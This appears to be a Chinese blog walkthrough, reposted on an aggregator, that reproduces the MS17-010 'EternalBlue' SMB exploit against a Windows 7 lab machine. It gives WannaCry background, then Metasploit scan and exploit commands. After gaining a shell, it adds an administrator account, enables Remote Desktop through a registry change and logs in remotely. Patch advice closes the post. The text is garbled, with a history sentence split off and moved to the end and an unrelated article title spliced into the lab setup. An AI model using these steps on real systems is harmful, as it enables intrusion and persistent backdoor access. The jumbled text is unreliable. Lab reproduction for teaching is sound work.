[漏洞复现] MS17-010 基于"永恒之蓝"实现Windows Getshell
2021-04-19 05:26
标签:永恒之蓝 黑客 渗透测试 MS17-010 Kali Linux 2017年5月,被称为近10年来影响范围最广泛“最嚣张”的WannaCry勒索病毒席卷全球,据统计,全球共有150多个国家超30万台终端被感染,波及政府、学校、医院、金融、航班等各行各业。 一旦中了WannaCry病毒,则电脑文件会被“加密劫持”,黑客要求受害者支付高昂赎金(比特币)才能拿到解密秘钥。当时互联网上有很多人确实尝试通过支付赎金解决“被挟持的电脑”,毕竟多年的工作和学习资料比起赎金来讲,价值更大。而实际上,很多人即便打钱过去,也无济于事。 为什么WannaCry病毒能够在短短一个月时间,对全球造成这么大的危害?这里就必须提到今天的主角:“永恒之蓝”。 时间追溯到2016年,全球神秘黑客组织影子经纪人( Shadow Brokers)入侵了另外一支技术高超的黑客团队 Shadow Brokers在拿到这批武器之后,本来打算以100万比特币(当时价值5亿美元)出售这批“网络军火库”,但最终没有人支付这笔天价费用。 直到2017年4月14号,Shadow Brokers干脆直接在Github上公开整个武器库,大量的针对Windows零日漏洞攻击武器被公开,其中,就包括了上面提到的“永恒之蓝”渗透代码。(Eternalblue) 绕了这么一大圈,其实就是想告诉大家一点: 这枚WannaCry勒索病毒,就是黑客拿着美国安全局泄露的永恒之蓝攻击代码进行研制,并进行大肆勒索传播。 关于这一点,微软于2017年5月也公开指责NSA:“美国安全局正是全球勒索病毒的发源地,政府所持有的零日漏洞被泄露到公共领域,造成不可损失的破坏” 直到现在,很多普通用户仍然单方面吐槽“这是因为Windows系统不够安全”,把问题直接归结于微软。而实际上,在这件事情上,微软才是真正的“背锅侠”,因为Windows系统在2017年3月14号就早早推送了MS17-010的安全更新,若用户打上这个补丁,就可以避免这次攻击。但是,大量的普通用户没有更新打补丁的习惯,更不用说那些采用Ghost盗版系统的用户了。 虽然很多人已经从各种新闻报道和“个人经历”已经知晓这枚病毒的威力,但是在这里我们还是花了很多给大家普及了它的来龙去脉,并在这里给大家一个观点: [WannaCry事件] 是21世纪网络安全领域的一个标志性事件,意味着: 国家级别的网络安全对抗早就在秘密展开了,现在被一些黑客组织“戳破”了; 黑客攻击事件已经完全渗透到真实世界里,“比特世界”和“原子世界”边界彻底被打破; 谁掌握零日漏洞以及对应的攻击武器,谁在“第五空间”就有话语权; 类似WannaCry的病毒会越来越多,并且频率越来越高,例如Bad Rabbit、NotPetya…… Kali Linux 2017.03 + Windows 7 sp1 永恒之蓝漏洞刚出来的时候,当时很多人是用Shadow Brokers泄露的NSA原生攻击工具来测试,通过“ Fuzzbunch + Eternalblue 组合拳 ”,虽然可以做出getshell效果,但是整个实现过程非常麻烦,不太适合安全新手进行快速实践。到了Kali Linux 2017.03和Kali Linux 2018版,神器Metasploit直接集成了MS17-010的渗透测试代码,针对Win7和Server2008可以实现getshell,几分钟内就可以将完成整个漏洞复现过程。 注:此实验环境所用渗透机和靶机,跟之前文章所分享一致,可以参考往期推文,并下载所需镜像=> 3、实验流程 这里可以得到两个工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,exploit/windows/smb/ms17_010_eternalblue是永恒之蓝渗透代码,一般配合使用,前者先扫描,若显示有漏洞,再进行渗透。 使用模块 使用模块 从最终效果来看,此时Kali Linux通过MS17-010渗透代码,直接拿到Win7的Shell,之后便可以通过Shell对目标靶机进行控制。 创建用户名密码 blue/blue 可以看到,最终Kali通过shell新建了用户,并通过远程桌面连接到目标靶机上。 ①在线更新;开启Windows Update更新。 ===================== 【职位套餐】 ①《CCIE魔鬼训练营套餐》:零基础到CCIE网络安全专家,包含CCNA/CCNP/CCIE不同等级的课程内容,涉及R&S、ISP、Security、渗透测试等课程内容,行业最经典,优惠幅度最大。课程链接:http://edu.51cto.com/pack/view/id-255.html ②《Web安全工程师》:掌握Web漏洞扫描、信息探测、SQL注入、文件上传、Webshell木马、远程执行、XSS跨站脚本攻击、CSRF跨站请求伪造等核心技能。课程链接:http://edu.51cto.com/topic/1181.html ③《高级Web安全工程师》:掌握Python编程、Web开发(Django)、Web安全,通往高级Web安全工程师。课程链接:http://edu.51cto.com/topic/1183.html [漏洞复现] MS17-010 基于"永恒之蓝"实现Windows Getshell 标签:永恒之蓝 黑客 渗透测试 MS17-010 Kali Linux 原文地址:http://blog.51cto.com/chenxinjie/2092754
方程式组织(Equation Group),并拿到后者部分泄密武器。而方程式组织其实便是NSA(美国国家安全局)旗下的黑客团队,正因此,由国家支持的“核武器级网络军火库”正式浮出水面。
2、漏洞复现环境
渗透机:Kali Linux (ip:172.16.70.216)
靶机:Windows 7 sp1 (ip:172.16.70.199)[漏洞复现] CVE-2017-11882 通杀所有Office版本
①登录Kali Linux,进入MSF框架,搜索ms17-010代码
msfconsole
msf > search ms17_010
②使用ms17-010扫描模块,对靶机Win7进行扫描
msf > use auxiliary/scanner/smb/smb_ms17_010
设置目标IP或网段 msf auxiliary(smb_ms17_010) > set RHOSTS 172.16.70.199
执行扫描 msf auxiliary(smb_ms17_010) > run
③使用ms17-010渗透模块,对靶机Win7进行渗透
msf > use exploit/windows/smb/ms17_010_eternalblue
查看可设置的选项 msf exploit(ms17_010_eternalblue) > show options
设置渗透目标ip msf exploit(ms17_010_eternalblue) > set RHOST 172.16.70.199
执行渗透 msf exploit(ms17_010_eternalblue) > exploit
④通过Shell对靶机Win7进行控制
net user blue blue /add
将用户blue添加入管理组 net localgroup administrators blue /add
开启远程桌面功能 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Kali远程桌面连接Win7 rdesktop 172.16.70.199:3389
当然,上面这是一个简单的演示,告诉大家这个漏洞很危险,真正的黑客能做的事情更多,所以还是要多打补丁或按照安全软件。4、漏洞修复
②打补丁;此漏洞对应的微软补丁地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010
文章标题:[漏洞复现] MS17-010 基于"永恒之蓝"实现Windows Getshell
文章链接:http://soscw.com/index.php/essay/76515.html